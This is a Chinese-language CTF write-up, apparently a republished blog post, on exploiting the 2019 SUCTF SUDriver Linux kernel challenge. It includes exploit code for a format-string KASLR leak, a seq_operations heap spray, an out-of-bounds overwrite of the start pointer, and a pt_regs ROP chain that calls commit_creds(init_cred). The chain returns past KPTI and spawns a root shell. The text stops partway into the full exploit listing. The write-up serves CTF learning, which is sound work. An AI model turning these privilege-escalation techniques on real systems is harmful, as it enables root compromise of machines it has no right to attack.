2019-SUCTF-SUDriver学习笔记

admin 2026-07-22 05:37:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是作者对2019年SUCTF内核题SUDriver的复现学习笔记。核心记录了利用格式化字符串漏洞泄露地址绕过KASLR,并将驱动的越界写转化为劫持内核执行流的原语。作者分享了堆风水尝试失败后改用seqoperations结构体进行堆喷射的经验,以及通过栈迁移和swapgsrestoreregsandreturnto_usermode函数绕过KPTI返回用户态的过程。文章提供了详细的利用思路和踩坑记录,对内核安全初学者有参考价值。 综合评分: 75 文章分类: 二进制安全,漏洞分析,红队,内网渗透,CTF


cover_image

2019-SUCTF-SUDriver 学习笔记

xnqjns xnqjns

看雪学苑

2026年7月21日 18:04 上海

在小说阅读器读本章

去阅读

这篇文章是我复现 2019 年 SUCTF 内核题 SUDriver 时的一篇学习笔记。作为内核安全的初学者,在死磕这道题的过程中,我花了不少时间尝试自己动手把 Exploit 给搓出来。在这个过程中踩了不少坑,也学到了很多,特此记录下来。

#

文章主要记录了以下几个学习点:

  • 漏洞原语的转化:

    记录了自己如何利用格式化字符串泄露地址绕过 KASLR,并尝试将驱动中的越界写(OOB Write)转化为可以劫持内核执行流的原语。

  • 堆风水(Heap Feng Shui)的尝试与失败经验:

    在选择覆盖对象时,我一开始其实想用 timerfd_ctx,但实操后发现越界写不可避免地破坏了红黑树节点,苦苦找不到合适的 Gadget。在不断的试错后,最后才换成了利用 seq_operations 结构体进行堆喷射(Heap Spraying)。

  • 栈迁移与执行流恢复:

    梳理了在成功覆盖 seq_operations->start 指针后,如何计算与 pt_regs 的偏移来进行栈迁移(Stack Pivot),以及如何借助 swapgs_restore_regs_and_return_to_usermode 函数绕过 KPTI,最终跌跌撞撞地安全返回用户态。

本人目前是一名大三学生,正在二进制漏洞和 Linux 内核方向艰难摸索。深知自己距离行业的标准还有很长的路要走,很多底层机制理解得也还不够透彻。将笔记发出来主要是想向各位前辈请教,同时本人也正在寻找全国范围内的实习机会,渴望能有一个真实的实战环境让我继续学习。

1

环境分析与漏洞审计

启动脚本中开启了 smep 和 kaslr,内核版本为 4.20.12:

#! /bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=0 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-s \
-cpu kvm64,+smep

/ $ cat /sys/devices/system/cpu/vulnerabilities/meltdown
Mitigation: PTI

Linux (none) 4.20.12 #1 SMP Mon Feb 25 20:42:55 CST 2019 x86_64 GNU/Linux

#

2

驱动分析

#

ioctl

#

0x73311337 是创建一个堆块,大小自定义,最大 0xFFE0x13377331 是释放堆块,在利用中没什么用。

void __fastcall sudrv_ioctl(__int64 a1, int a2, __int64 a3){
switch ( a2 )
  {
case 0x73311337:
if&nbsp;( (unsigned&nbsp;__int64)(a3 -&nbsp;1) <=&nbsp;0xFFE&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; su_buf = (char&nbsp;*)_kmalloc(a3,&nbsp;4718624LL);
break;
case&nbsp;0xDEADBEEF:
if&nbsp;( su_buf )
sudrv_ioctl_cold_2((__int64)su_buf);
break;
case&nbsp;0x13377331:
kfree(su_buf);
&nbsp; &nbsp; &nbsp; su_buf =&nbsp;0LL;
break;
&nbsp; }
}

格式化字符串漏洞

明显的一个格式化字符串漏洞,可以用于泄露内核基地址。

void __fastcall&nbsp;sudrv_ioctl_cold_2(__int64 a1)
{
printk(a1);
JUMPOUT(0x38LL);
}

越界写漏洞

这个函数是IDA识别错误,底层还是write函数,参数分别为文件操作符,写入数据,写入长度,长度我们可以自定义,所以这是一个越界写。

__int64&nbsp;sudrv_write()
{
&nbsp; if ( (unsigned int)copy_user_generic_unrolled(su_buf) )
&nbsp; &nbsp; return -1LL;
&nbsp; else
&nbsp; &nbsp; return&nbsp;sudrv_write_cold_1();
}

#

3

利用思路

有任意地址写,而且内核版本 4.20.12 的环境下 ,可以大概是只能利用越界写修改结构体指针的方式控制内核执行流,我原本打算利用 tty_struct 结构体的,但是这个环境没有挂载 devpts 伪文件系统,所以用了 seq_operations 结构体来做平替

小提示 : 这道题没有开启在 4.14 引入的 Hardened freelist 所以,劫持 modprobe_path 也是一个不错的选择。

踩坑 : 我还尝试了 timerfd_ctx 结构体,但是越界写破坏了红黑树节点,虽然程序没有开启 smap,我们可以在用户态伪造红黑树节点,但是因为该版本的timerfd_ctx 结构体偏移问题,没有合适的 gadget 可用,最后放弃了。

堆喷构造利用环境

真的是很奇怪,不知道为什么用户堆块就是进不去梳子型的堆喷….

//基础的用户态状态保存,绑核和获取驱动交互接口
save_status();
bind_core(0);
dev_fd =&nbsp;open("/dev/meizijiutql", O_RDWR);

if&nbsp;(dev_fd <&nbsp;0)
{
perror("[-] Failed to open /dev/meizijiutql");
exit(EXIT_FAILURE);
}
printf("[+] Successfully opened device!\n");

我采用了 [堆喷,创建堆块,堆喷] 的方式完成堆布局:

#define MAX_SPRAY_SIZE 1000

for&nbsp;(int&nbsp;i =&nbsp;0;i < MAX_SPRAY_SIZE-300;i++)
{
&nbsp; &nbsp; operations_id[i] =&nbsp;open("/proc/self/stat",O_RDONLY);
if&nbsp;(operations_id[i] <&nbsp;0)
&nbsp; &nbsp; {
printf("[-] failed to create seq_operations[%d]\n",i);
exit(EXIT_FAILURE);
&nbsp; &nbsp; }
}

printf("[+] Success to spray seq_operations[0-%d]\n",MAX_SPRAY_SIZE-300);

Addchunk(0x20);

for&nbsp;(int&nbsp;i = MAX_SPRAY_SIZE-300;i < MAX_SPRAY_SIZE;i++)
{
&nbsp; &nbsp; operations_id[i] =&nbsp;open("/proc/self/stat",O_RDONLY);
if&nbsp;(operations_id[i] <&nbsp;0)
&nbsp; &nbsp; {
printf("[-] failed to create seq_operations[%d]\n",i);
exit(EXIT_FAILURE);
&nbsp; &nbsp; }
}

我们往创建出来的的堆块写入一些数据,一会动态检查是否构造完成了:

size_t buf[2];
buf[0] = 0xDEADBEEFDEADBEEF;
buf[1] = 0xDEADBEEFDEADBEEF;
write(dev_fd,buf,0x10);

//---------------------------------(nokaslr 内存图)------------------------------------
//这三个是符合0x20大小堆块地址的可疑地址
(remote) gef➤ &nbsp;search-pattern 0xdeadbeefdeadbeef
[+] In (0xffff888002114000-0xffff888005fa6000), permission=rw-
&nbsp; 0xffff888002a0fd60 - 0xffff888002a0fd80 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"
&nbsp; 0xffff888002a0fd68 - 0xffff888002a0fd88 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"
[+] In (0xffff888005fa8000-0xffff8880071c4000), permission=rw-
&nbsp; 0xffff888005fc0940 - 0xffff888005fc0960 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"
&nbsp; 0xffff888005fc0948 - 0xffff888005fc0968 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"
[+] In (0xffffffff82878000-0xffffffff82c00000), permission=rw-
&nbsp; 0xffffffff82a0fd60 - 0xffffffff82a0fd80 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"
&nbsp; 0xffffffff82a0fd68 - 0xffffffff82a0fd88 &nbsp;→ &nbsp;&nbsp;"\xef\xbe\xad\xde\xef\xbe\xad\xde[...]"

(remote) gef➤ &nbsp;x/10gx 0xffff888002a0fd60                    //(排除)
0xffff888002a0fd60:    0xdeadbeefdeadbeef  0xdeadbeefdeadbeef
0xffff888002a0fd70:    0x0000000600000000  0xf90c82ac8f4da200
0xffff888002a0fd80:    0x0000000000000001  0x000000000040206a

(remote) gef➤ &nbsp;x/10gx 0xffff888005fc0940
0xffff888005fc0940:    0xdeadbeefdeadbeef  0xdeadbeefdeadbeef
0xffff888005fc0950:    0x0000000000000000  0x0000000000000000
0xffff888005fc0960:    0xffffffff811d8a50  0xffffffff811d8a70

(remote) gef➤ &nbsp;x/10gx 0xffffffff82a0fd60                    //(排除)
0xffffffff82a0fd60:    0xdeadbeefdeadbeef  0xdeadbeefdeadbeef
0xffffffff82a0fd70:    0x0000000600000000  0xf90c82ac8f4da200
0xffffffff82a0fd80:    0x0000000000000001  0x000000000040206a

//我们可以用 /&nbsp;# cat /proc/kallsyms | grep "single_start" 查询 seq_operations -> start的地址,然后在我们的堆块附近搜索这个地址

(remote) gef➤ &nbsp;find /g 0xffff888005000000, +0x1000000, 0xffffffff811d8a50
0xffff888005f85000
0xffff888005f85020
....
0xffff888005fc0920
0xffff888005fc0960                    //我们堆块下面就是seq_operations结构体,堆布局完成了
....
0xffff888005fdbea0
0xffff888005fdbec0
630 patterns found.

泄露内核基地址

在 nokaslr 环境下利用格式化字符串泄露栈上的函数地址,然后计算偏移后,就可以用在 kaslr 环境下了。

#define&nbsp;KERNEL_BASE 0xffffffff81000000
#define&nbsp;DO_VFS_IOCTL 0xffffffff811c81e0
#define&nbsp;LEAK_INTERNAL_OFFSET 0x9f
#define&nbsp;PREPARE_KERNEL_CRED 0xffffffff81081790
#define&nbsp;CPMMIT_CREDS 0xffffffff81081410

char&nbsp;buf[0x20] = {0};
strcat(buf,&nbsp;"[Exploit_Leak]:");
for(int&nbsp;i =&nbsp;0; i <&nbsp;8; i++)
{
strcat(buf,&nbsp;"%llx-");                 //注意驱动中用的是printk,所以我们要用%llx
}
strcat(buf,&nbsp;"\n");

printf("[*] Sending format string to kernel...\n");
write(dev_fd, buf,&nbsp;strlen(buf));

printf("[*] Triggering printk...\n");
Showsomething();

sleep(3);

//从dmesg中读取驱动输出给我的内容,经过处理后就可以得到一个固定偏移
char&nbsp;log_buf[0x2000] = {0};
size_t&nbsp;dynamic_do_vfs_ioctl =&nbsp;0;
size_t&nbsp;kernel_offset =&nbsp;0;

int&nbsp;bytes_read =&nbsp;klogctl(3, log_buf,&nbsp;sizeof(log_buf) -&nbsp;1);
if&nbsp;(bytes_read >&nbsp;0)
{
char&nbsp;*match =&nbsp;strstr(log_buf,&nbsp;"[Exploit_Leak]:");
if&nbsp;(match)
&nbsp; &nbsp; {
printf("[+] Leak found via syslog: %s\n", match);

char&nbsp;*newline =&nbsp;strchr(match,&nbsp;'\n');
if&nbsp;(newline) *newline =&nbsp;'\0';

uint64_t&nbsp;leak_addr =&nbsp;0;
char&nbsp;*token =&nbsp;strtok(match,&nbsp;"-");
while&nbsp;(token !=&nbsp;NULL)
&nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(strncmp(token,&nbsp;"ffffffff",&nbsp;8) ==&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
sscanf(token,&nbsp;"%lx", &leak_addr);
printf("[+] leak_addr = 0x%lx\n",leak_addr);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kernel_offset = leak_addr - DO_VFS_IOCTL - LEAK_INTERNAL_OFFSET;
printf("[+] kernel_offset = 0x%lx\n",kernel_offset);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; token =&nbsp;strtok(NULL,&nbsp;"-");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

利用pt_regs结构体部署ROP链

当我们 read 一个 stat 文件时,内核会调用其 proc_ops 的 proc_read_iter 指针,其默认值为 seq_read_iter() 函数,定义于 fs/seq_file.c 中,注意到有如下逻辑。

ssize_t&nbsp;seq_read_iter(struct&nbsp;kiocb&nbsp;*iocb,&nbsp;struct&nbsp;iov_iter&nbsp;*iter)
{
struct&nbsp;seq_file&nbsp;*m = iocb->ki_filp->private_data;

&nbsp; &nbsp; p = m->op->start(m, &m->index);

即其会调用 seq_operations 中的 start 函数指针,那么我们只需要控制 seq_operations->start 后再读取对应 stat 文件便能控制内核执行流。

同时在我们执行内核调用时,会在栈底形成一个 pt_regs 结构体,结构如下:

struct&nbsp;pt_regs&nbsp;{
/*
&nbsp;* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
&nbsp;* unless syscall needs a complete, fully filled "struct pt_regs".
&nbsp;*/
unsignedlong&nbsp;r15;
unsignedlong&nbsp;r14;
unsignedlong&nbsp;r13;
unsignedlong&nbsp;r12;
unsignedlong&nbsp;rbp;
unsignedlong&nbsp;rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsignedlong&nbsp;r11;
unsignedlong&nbsp;r10;
unsignedlong&nbsp;r9;
unsignedlong&nbsp;r8;
unsignedlong&nbsp;rax;
unsignedlong&nbsp;rcx;
unsignedlong&nbsp;rdx;
unsignedlong&nbsp;rsi;
unsignedlong&nbsp;rdi;
/*
&nbsp;* On syscall entry, this is syscall#. On CPU exception, this is error code.
&nbsp;* On hw interrupt, it's IRQ number:
&nbsp;*/
unsignedlong&nbsp;orig_rax;
/* Return frame for iretq */
unsignedlong&nbsp;rip;
unsignedlong&nbsp;cs;
unsignedlong&nbsp;eflags;
unsignedlong&nbsp;rsp;
unsignedlong&nbsp;ss;
/* top of stack page */
};

假设我们能计算出我们在 read 一个 stat 文件时的栈指针和 pt_regs 结构体的距离,我们就能通过往 start 指针写入一个类似add rsp 0xxxx; ret; 的 gadget 完成控制内核执行流。

利用 swapgs_restore_regs_and_return_to_usermode 返回用户态

注意程序开启了 KPTI,我们可以使用 swapgs_restore_regs_and_return_to_usermode 函数加上一个偏移完成丝滑返回用户态。

下面是原理分析,感兴趣可以看看:

先看后面的内联汇编,假设我们在rbp寄存器完成了所有ROP的布局,接下来我们要返回用户态,我们可以看到pt_regs结构体和这里的pop是高度相似的
所以我们可以把后面多余的寄存器弹出,我们接下来处理到了rbx,那么偏移就是FFFFFFFF81C00F39 - FFFFFFFF81C00F30 = 9
最主要的问题,rdi和orig_rax怎么处理?
可以看到内核把rdi当作一个中转站mov &nbsp; &nbsp; rdi, rsp
然后切换的新的栈mov &nbsp; &nbsp; rsp, gs:qword_6004
再把对应偏移的数据全部压入新的栈 push &nbsp; &nbsp;qword ptr [rdi+30h]........
最后的栈是这样的[ RAX ] -> [ RDI(seq_fd) ] -> [ RIP ] -> [ CS ] -> [ RFLAGS ] -> [ RSP ] -> [ SS ]

然后跳转到loc_FFFFFFFF81C00FA9执行pop rax; pop rdi;这样子最后执行iretq就可以安全放回了
这就是前面说我们可以把这部分简略为pop rax; pop rdi; swapgs; iretq;的原因了

.text:FFFFFFFF81C00F30 loc_FFFFFFFF81C00F30: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: .text:FFFFFFFF81004475↑j
.text:FFFFFFFF81C00F30 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; .text:FFFFFFFF81C0009C↑j ...
.text:FFFFFFFF81C00F30 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r15
.text:FFFFFFFF81C00F32 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r14
.text:FFFFFFFF81C00F34 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r13
.text:FFFFFFFF81C00F36 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r12
.text:FFFFFFFF81C00F38 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rbp
.text:FFFFFFFF81C00F39 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rbx
.text:FFFFFFFF81C00F3A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r11
.text:FFFFFFFF81C00F3C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r10
.text:FFFFFFFF81C00F3E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r9
.text:FFFFFFFF81C00F40 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; r8
.text:FFFFFFFF81C00F42 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rax
.text:FFFFFFFF81C00F43 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rcx
.text:FFFFFFFF81C00F44 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rdx
.text:FFFFFFFF81C00F45 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rsi
.text:FFFFFFFF81C00F46 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rdi, rsp
.text:FFFFFFFF81C00F49 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rsp, gs:qword_6004
.text:FFFFFFFF81C00F52 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi+30h]
.text:FFFFFFFF81C00F55 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi+28h]
.text:FFFFFFFF81C00F58 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi+20h]
.text:FFFFFFFF81C00F5B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi+18h]
.text:FFFFFFFF81C00F5E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi+10h]
.text:FFFFFFFF81C00F61 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;qword ptr [rdi]
.text:FFFFFFFF81C00F63 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;rax
.text:FFFFFFFF81C00F64 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_FFFFFFFF81C00FA9
.text:FFFFFFFF81C00F64 ; END OF FUNCTION CHUNK FOR sub_FFFFFFFF81C010F0
----------------------------------------------------------------------------------------------------------------------
.text:FFFFFFFF81C00FA9 loc_FFFFFFFF81C00FA9: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; CODE XREF: sub_FFFFFFFF81C010F0-18C↑j
.text:FFFFFFFF81C00FA9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rax
.text:FFFFFFFF81C00FAA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; rdi
.text:FFFFFFFF81C00FAB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;cs:off_FFFFFFFF82641B28
.text:FFFFFFFF81C00FB1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; cs:off_FFFFFFFF82641B20
.text:FFFFFFFF81C00FB1 ; END OF FUNCTION CHUNK FOR sub_FFFFFFFF81C010F0

最后利用

我们在 single_start 函数打上断点,手动修改寄存器的值,计算距离 pt_regs 结构体的距离。

这是最后利用时的内存图,所以没有很明显,我把r15寄存器修改成&nbsp;pop&nbsp;rdi;&nbsp;ret;&nbsp;了,下面给出了地址,计算得出来是&nbsp;0x168
(remote)&nbsp;gef➤&nbsp;&nbsp;p/x&nbsp;$rsp
$1&nbsp;=&nbsp;0xffffc9000071bdf0
(remote)&nbsp;gef➤&nbsp;&nbsp;x/100gx&nbsp;0xffffc9000071bdf0
0xffffc9000071bdf0:0xffffffff811d9a1d0xffffc9000071bf08
0xffffc9000071be00:0x00000000000000080xffff888006a67a40
0xffffc9000071be10:0x00007ffcba86b2c80x0000000000000006
0xffffc9000071be20:0xffff8880071d3c000xffffc9000071bf08
0xffffc9000071be30:0x00007ffcba86b2c80xffff8880071d3c00
0xffffc9000071be40:0xffffc9000071bf080x0000000000000000
0xffffc9000071be50:0xffffffff811b4b210xffff888006c0acc8
0xffffc9000071be60:0xffff8880071d3c100x0000000000000000
0xffffc9000071be70:0x00000000000000010x0000000000000000
0xffffc9000071be80:0x00000000000000000x0000000000000000
0xffffc9000071be90:0x00000000000000000x45e4aaa7a09a6c00
0xffffc9000071bea0:0x00000000000000080xffff8880071d3c00
0xffffc9000071beb0:0x00007ffcba86b2c80x45e4aaa7a09a6c00
0xffffc9000071bec0:0x00000000000000080x0000000000000000
0xffffc9000071bed0:0xffffffff811b4ce50xffff8880071d3c00
0xffffc9000071bee0:0xffff8880071d3c000x00007ffcba86b2c8
0xffffc9000071bef0:0x00000000000000080x0000000000000000
0xffffc9000071bf00:0xffffffff811b525a0x0000000000000000
0xffffc9000071bf10:0x45e4aaa7a09a6c000x0000000000000000
0xffffc9000071bf20:0xffffc9000071bf580x0000000000000000
0xffffc9000071bf30:0x00000000000000000xffffffff810023f3
0xffffc9000071bf40:0x00000000000000000x0000000000000000
//0xffffc9000071bf50:0xffffffff81a0007c0xffffffff81001388
0xffffc9000071bf60:0xffffffff82241c000xffffffff81081410
0xffffc9000071bf70:0xffffffff81a009770x0000000000000000
0xffffc9000071bf80:0x00000000000000000x0000000000000202
0xffffc9000071bf90:0x00000000000000000x0000000000000000
0xffffc9000071bfa0:0x00000000000000000xffffffffffffffda
0xffffc9000071bfb0:0x0000000000401d7d0x0000000000000008
0xffffc9000071bfc0:0x00007ffcba86b2c80x0000000000000004
0xffffc9000071bfd0:0x00000000000000000x0000000000401d7d
0xffffc9000071bfe0:0x00000000000000330x0000000000000202
0xffffc9000071bff0:0x00007ffcba86b0000x000000000000002b
0xffffc9000071c000:Cannot&nbsp;access&nbsp;memory&nbsp;at&nbsp;address&nbsp;0xffffc9000071c000
(remote)&nbsp;gef➤&nbsp;&nbsp;x/4i&nbsp;0xffffffff81001388
0xffffffff81001388:pop&nbsp; &nbsp;&nbsp;rdi
0xffffffff81001389:ret
0xffffffff8100138a:mov&nbsp; &nbsp;&nbsp;r15,QWORD&nbsp;PTR&nbsp;[rip+0x1886cef] &nbsp; &nbsp; &nbsp; &nbsp;# 0xffffffff82888080
0xffffffff81001391:test&nbsp; &nbsp;r15,r15
(remote)&nbsp;gef➤

0xffffc9000071bf58&nbsp;-0xffffc9000071bdf0&nbsp;=&nbsp;0x168

修改 start 指针,依次读取所有 start 文件即可:

#define&nbsp;PUSH_RDI_POP_RSP_JE_RET 0xffffffff814a1b14
#define&nbsp;POP_RDI_RET 0xffffffff81001388
#define&nbsp;MOV_RAX_RDI_RET 0xffffffff8100e2c5
#define&nbsp;POP_R13_RET 0xffffffff81000a38
#define&nbsp;SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xFFFFFFFF81A0096F
#define&nbsp;POP_R8_RET 0xffffffff8133bfb8
#define&nbsp;POP_RDX_RET 0xffffffff81044f17
#define&nbsp;MOV_RDI_RAX_CMP_JNE_RET 0xffffffff810d690e
#define&nbsp;INIT_CRED_ADDR 0xffffffff82241c00

#define&nbsp;ADD_RSP_168_RET 0xffffffff81134b6c

voidtrigger_syscall(int&nbsp;fd,&nbsp;void&nbsp;*buf,&nbsp;uint64_t&nbsp;*args)&nbsp;{
asm&nbsp;volatile(
// 1. 保护 C 运行时的寄存器
"push r15\n"
"push r14\n"
"push r13\n"
"push r12\n"
"push rbp\n"
"push rbx\n"

// 2. 从 args 数组 (rdx) 中安全提取 ROP 链到寄存器
"mov r15, [rdx + 0x00]\n"
"mov r14, [rdx + 0x08]\n"
"mov r13, [rdx + 0x10]\n"
"mov r12, [rdx + 0x18]\n"
"mov rbp, [rdx + 0x20]\n"
"mov rbx, [rdx + 0x28]\n"
"mov r11, [rdx + 0x30]\n"
"mov r10, [rdx + 0x38]\n"
"mov r9, &nbsp;[rdx + 0x40]\n"
"mov r8, &nbsp;[rdx + 0x48]\n"

// 3. 执行系统调用
"mov rax, 0\n"&nbsp; &nbsp; &nbsp;&nbsp;// SYS_read
"mov rdx, 8\n"&nbsp; &nbsp; &nbsp;&nbsp;// count = 8
// fd 已经在 rdi 里了,buf 已经在 rsi 里了
"syscall\n"

// 4. 完美恢复 C 运行时的寄存器
"pop rbx\n"
"pop rbp\n"
"pop r12\n"
"pop r13\n"
"pop r14\n"
"pop r15\n"
&nbsp; &nbsp; &nbsp; &nbsp; :
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"D"&nbsp;(fd),&nbsp;"S"&nbsp;(buf),&nbsp;"d"&nbsp;(args)&nbsp;// GCC 约束保留,用于传参
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"rax",&nbsp;"rcx",&nbsp;"r8",&nbsp;"r9",&nbsp;"r10",&nbsp;"r11",&nbsp;"memory"
&nbsp; &nbsp; );
}

size_t&nbsp;kernel_base = KERNEL_BASE + kernel_offset;
printf("[+] kernel_base = 0x%lx\n",kernel_base);

prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = CPMMIT_CREDS + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset +&nbsp;8;

if&nbsp;(kernel_offset ==&nbsp;0)
{
puts("[-] KASLR Leak Failed (dmesg buffer missed)! Please run exp again.");
exit(EXIT_FAILURE);
}

printf("[+] Perfect! KASLR completely defeated. Offset: 0x%lx\n", kernel_offset);

size_t&nbsp;buf2[0x40] = {0};
buf2[0] =&nbsp;0xDEADBEEFDEADBEEF;
for&nbsp;(int&nbsp;i =&nbsp;4;i <&nbsp;0x40;i +=&nbsp;4)                        //只修改start指针,其余不变,多修改几个结构体
{
&nbsp; &nbsp; buf2[i] = ADD_RSP_168_RET + kernel_offset;
&nbsp; &nbsp; buf2[i+1] =&nbsp;0xffffffff811d8a70&nbsp;+ kernel_offset;
&nbsp; &nbsp; buf2[i+2] =&nbsp;0xffffffff811d8a60&nbsp;+ kernel_offset;
&nbsp; &nbsp; buf2[i+3] =&nbsp;0xffffffff81220e50&nbsp;+ kernel_offset;
}

write(dev_fd, buf2,&nbsp;0x200);

size_t&nbsp;pop_rdi_ret = POP_RDI_RET + kernel_offset;
size_t&nbsp;pop_rdx_ret = POP_RDX_RET + kernel_offset;
size_t&nbsp;pop_r8_ret &nbsp;= POP_R8_RET &nbsp;+ kernel_offset;
size_t&nbsp;mov_rdi_rax_cmp_jne_ret =&nbsp;0xffffffff810d690d&nbsp;+ kernel_offset;

int&nbsp;idx =&nbsp;0;

size_t&nbsp;init_cred = INIT_CRED_ADDR + kernel_offset;

rop_args[idx++] = pop_rdi_ret;
rop_args[idx++] = init_cred;
rop_args[idx++] = commit_creds;
rop_args[idx++] = swapgs_restore_regs_and_return_to_usermode;

char&nbsp;junk_buf[8] = {0};

for&nbsp;(int&nbsp;i =&nbsp;0; i < MAX_SPRAY_SIZE; i++) {
if&nbsp;(operations_id[i] <&nbsp;0) {
continue;
&nbsp; &nbsp; }
printf("try %d\n", i);
trigger_syscall(operations_id[i], junk_buf, rop_args);

if&nbsp;(getuid() ==&nbsp;0) {                                        //当我们的uid = 0时,弹出root shell,继续执行会报错!
puts("[+] God Mode Activated! Spawning Root Shell...");

system("/bin/sh");

puts("[*] Shell exited. Sleeping forever to prevent kernel panic...");
while(1) {
sleep(100);                                            //挂起进程
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

#

4

完整EXP

重要:exp的一些问题

假如在 nokaslr 的环境下 约 221~225 行的代码要删除,但是在 kaslr 环境下一定不能删除。

if (kernel_offset ==&nbsp;0)
{
puts("[-] KASLR Leak Failed (dmesg buffer missed)! Please run exp again.");
exit(EXIT_FAILURE);
}

这个原因是我在从dmesg读取地址时处理不好,kaslr 环境下要运行两次才能获得 root shell:

#define&nbsp;_GNU_SOURCE
#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<string.h>
#include&nbsp;<unistd.h>
#include&nbsp;<fcntl.h>
#include&nbsp;<sched.h>
#include&nbsp;<sys/ioctl.h>
#include&nbsp;<sys/timerfd.h>
#include&nbsp;<sys/klog.h>
#include&nbsp;<stdint.h>
#include&nbsp;<sys/mman.h>
#include&nbsp;<signal.h>

#define&nbsp;MAX_SPRAY_SIZE 1000
#define&nbsp;KERNEL_BASE 0xffffffff81000000
